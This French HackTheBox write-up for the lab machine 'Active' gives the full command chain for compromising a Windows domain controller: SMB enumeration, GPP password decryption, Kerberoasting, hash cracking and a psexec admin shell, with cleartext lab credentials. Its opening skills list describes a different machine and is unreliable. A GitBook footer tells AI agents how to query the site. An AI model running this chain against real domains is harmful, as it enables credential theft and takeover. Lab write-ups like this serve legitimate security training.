> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Récapitulatif HackTheBox d'Active Récapitulatif de la machine HackTheBox Windows facile Active couvrant l'énumération SMB, le craquage d'un fichier protégé par mot de passe ZIP (fcrackzip), le craquage et la lecture d'un fichier .PFX (crackpkcs12), l'obtention d'un accès SSL avec Evil-Wi {% embed url="" %} {% hint style="warning" %} **Compétences**: * Énumération SMB * Craquer un fichier ZIP protégé par mot de passe (fcrackzip) * Craquer et lire un fichier .PFX (crackpkcs12) * Obtenir un accès SSL avec Evil-WinRM * Fuite d'informations - Lecture de l'historique PowerShell de l'utilisateur (pivotement utilisateur) * Exploiter LAPS pour obtenir des mots de passe (Get-LAPSPasswords.ps1) (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ En utilisant la fonction extractport pour afficher les ports ouverts de façon concise et les copier dans le presse-papiers.

**Analyse des versions de ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Énumération et exploitation :** ### **Énumération SMB :** Utilisez crackmapexec pour répertorier les systèmes et trouver le nom de domaine. ```bash crackmapexec smb 10.10.10.100 ```

#### **Ajustement de l'heure avec NTP :** Ajuster l'heure de la machine cible pour éviter les problèmes ```bash ntpdate 10.10.10.100 ```

#### Configuration de /etc/hosts : Ajout du contrôleur de domaine au fichier hosts pour permettre le ping :

### **Liste des ressources partagées** Utilisez smbclient ou smbmap pour explorer les ressources partagées sur le réseau. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Recherche de fichiers spécifiques**: Parcourez les répertoires à la recherche de fichiers pertinents ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

Le `groups.xml` un fichier est identifié, pouvant contenir des informations confidentielles. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Déchiffrement du mot de passe :** Utilisez `gpp-decrypt` pour déchiffrer les mots de passe stockés. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Validation des identifiants :** Utilisez crackmapexec pour vérifier si les identifiants sont valides ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Exploration des autorisations :** Utilisez crackmapexec et smbmap pour explorer les autorisations sur les partages réseau. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### Flag user.txt obtenue : ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Connexion au contrôleur de domaine :** Utilisation de rpcclient pour se connecter au contrôleur de domaine et explorer les utilisateurs et les groupes : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - Pour identifier les membres du groupe admin : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - Pour obtenir les utilisateurs d'un groupe spécifique : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - Pour lister les descriptions de tous les utilisateurs : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Vulnérabilité [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): La vulnérabilité Kerberoast est exploitée avec succès à l'aide de la commande suivante : ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` Cette commande récupère un ticket de service Grant-Ticketing Service (TGS) qui exploite la vulnérabilité. Ensuite, pour obtenir le hash d'un administrateur, le paramètre -request est ajouté à la commande : ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Exploitation finale :** ### **Craquage du hachage :** Utilisez John pour essayer de casser les hachages obtenus. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Validation des identifiants :** Utilisez crackmapexec pour valider les identifiants obtenus ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Exécution de Psexec :** Utilisez psexec.py pour obtenir un shell interactif en tant qu'administrateur. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Drapeau final obtenu :** Obtention réussie du drapeau final une fois l'accès administrateur acquis.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.